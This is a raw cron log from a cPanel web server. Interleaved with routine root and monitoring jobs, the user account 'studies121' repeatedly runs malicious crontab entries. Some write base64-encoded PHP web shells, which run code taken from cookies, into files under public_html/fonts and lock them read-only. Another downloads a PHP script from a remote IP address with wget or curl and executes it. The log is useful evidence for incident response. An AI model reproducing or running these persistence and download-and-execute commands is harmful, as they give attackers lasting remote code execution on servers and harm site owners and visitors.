Sep  3 09:59:02 ip-184-168-122-23 CROND[16011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:59:02 ip-184-168-122-23 CROND[16009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:00:01 ip-184-168-122-23 CROND[16142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:00:01 ip-184-168-122-23 CROND[16143]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:00:01 ip-184-168-122-23 CROND[16147]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:00:01 ip-184-168-122-23 CROND[16149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:00:01 ip-184-168-122-23 CROND[16146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:00:01 ip-184-168-122-23 CROND[16150]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:00:01 ip-184-168-122-23 CROND[16152]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 10:00:01 ip-184-168-122-23 CROND[16154]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:00:01 ip-184-168-122-23 CROND[16153]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 10:01:01 ip-184-168-122-23 CROND[16280]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 10:01:01 ip-184-168-122-23 CROND[16282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:01:01 ip-184-168-122-23 CROND[16284]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 10:01:01 ip-184-168-122-23 CROND[16285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:01:01 ip-184-168-122-23 CROND[16283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:01:01 ip-184-168-122-23 CROND[16286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16280]: starting 0anacron
Sep  3 10:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16301]: finished 0anacron
Sep  3 10:02:01 ip-184-168-122-23 CROND[16460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:02:01 ip-184-168-122-23 CROND[16462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:02:01 ip-184-168-122-23 CROND[16465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:02:01 ip-184-168-122-23 CROND[16463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:02:01 ip-184-168-122-23 CROND[16464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:03:01 ip-184-168-122-23 CROND[16574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:03:01 ip-184-168-122-23 CROND[16577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:03:01 ip-184-168-122-23 CROND[16576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:03:01 ip-184-168-122-23 CROND[16579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:04:01 ip-184-168-122-23 CROND[16672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:04:01 ip-184-168-122-23 CROND[16673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:04:01 ip-184-168-122-23 CROND[16677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:04:01 ip-184-168-122-23 CROND[16680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:04:01 ip-184-168-122-23 CROND[16679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:05:01 ip-184-168-122-23 CROND[16797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:05:01 ip-184-168-122-23 CROND[16799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:05:01 ip-184-168-122-23 CROND[16800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:05:01 ip-184-168-122-23 CROND[16801]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 10:05:01 ip-184-168-122-23 CROND[16806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:05:01 ip-184-168-122-23 CROND[16804]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:05:01 ip-184-168-122-23 CROND[16805]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:06:01 ip-184-168-122-23 CROND[16910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:06:01 ip-184-168-122-23 CROND[16912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:06:01 ip-184-168-122-23 CROND[16915]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:06:01 ip-184-168-122-23 CROND[16916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:06:01 ip-184-168-122-23 CROND[16917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:07:01 ip-184-168-122-23 CROND[17023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:07:01 ip-184-168-122-23 CROND[17025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:07:01 ip-184-168-122-23 CROND[17030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:07:01 ip-184-168-122-23 CROND[17029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:08:01 ip-184-168-122-23 CROND[17207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:08:01 ip-184-168-122-23 CROND[17210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:08:01 ip-184-168-122-23 CROND[17209]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:08:01 ip-184-168-122-23 CROND[17212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:08:01 ip-184-168-122-23 CROND[17211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:09:01 ip-184-168-122-23 CROND[17367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:09:01 ip-184-168-122-23 CROND[17371]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 10:09:02 ip-184-168-122-23 CROND[17372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:09:02 ip-184-168-122-23 CROND[17373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:09:02 ip-184-168-122-23 CROND[17374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:10:01 ip-184-168-122-23 CROND[17505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 10:10:01 ip-184-168-122-23 CROND[17506]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 10:10:01 ip-184-168-122-23 CROND[17507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:10:01 ip-184-168-122-23 CROND[17512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 10:10:01 ip-184-168-122-23 CROND[17515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:10:01 ip-184-168-122-23 CROND[17518]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 10:10:01 ip-184-168-122-23 CROND[17519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:10:01 ip-184-168-122-23 CROND[17517]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:11:01 ip-184-168-122-23 CROND[17627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:11:01 ip-184-168-122-23 CROND[17629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
